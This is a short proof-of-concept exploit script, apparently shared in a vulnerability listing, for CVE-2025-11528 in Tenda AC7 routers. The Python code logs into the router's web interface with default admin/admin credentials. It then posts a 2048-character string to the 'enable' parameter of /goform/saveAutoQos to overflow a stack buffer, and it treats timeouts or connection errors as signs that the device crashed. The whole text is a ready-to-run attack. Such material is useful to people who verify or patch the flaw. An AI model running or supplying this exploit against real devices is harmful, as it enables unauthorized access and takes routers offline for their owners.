CVE-2025-11528 Tenda AC7 saveAutoQos栈缓冲区溢出漏洞

# CVE-2025-11528 Tenda AC7 saveAutoQos Stack Buffer Overflow PoC # Vulnerability: Stack-based buffer overflow via 'enable' parameter # Affected: Tenda AC7 firmware version 15.03.06.44 # Endpoint: /goform/saveAutoQos import requests import sys TARGET = sys.argv[1] if len(sys.argv) > 1 else "192.168.0.1" PORT = 80 LOGIN_URL = f"http://{TARGET}:{PORT}/login/Auth" TARGET_URL = f"http://{TARGET}:{PORT}/goform/saveAutoQos" USERNAME = "admin" PASSWORD = "admin" # Default or known credentials # Step 1: Authenticate to obtain session cookie session = requests.Session() auth_data = { "username": USERNAME, "password": PASSWORD } try: auth_resp = session.post(LOGIN_URL, data=auth_data, timeout=5) print(f"[*] Authentication response: {auth_resp.status_code}") except Exception as e: print(f"[-] Authentication failed: {e}") sys.exit(1) # Step 2: Craft the overflow payload for 'enable' parameter # The 'enable' parameter is vulnerable to stack-based buffer overflow # Sending an excessively long value will overflow the stack buffer payload = "A" * 2048 # Overflow payload exceeding buffer size # Step 3: Send malicious request to trigger buffer overflow overflow_data = { "enable": payload } try: print(f"[*] Sending overflow payload to {TARGET_URL}") resp = session.post(TARGET_URL, data=overflow_data, timeout=5) print(f"[*] Response status: {resp.status_code}") print(f"[*] Response body: {resp.text[:200]}") except requests.exceptions.Timeout: print("[+] Target timed out - possible crash/overflow triggered!") except requests.exceptions.ConnectionError: print("[+] Connection error - target may have crashed!") except Exception as e: print(f"[+] Exception occurred (possible crash): {e}") print("[*] Exploit completed")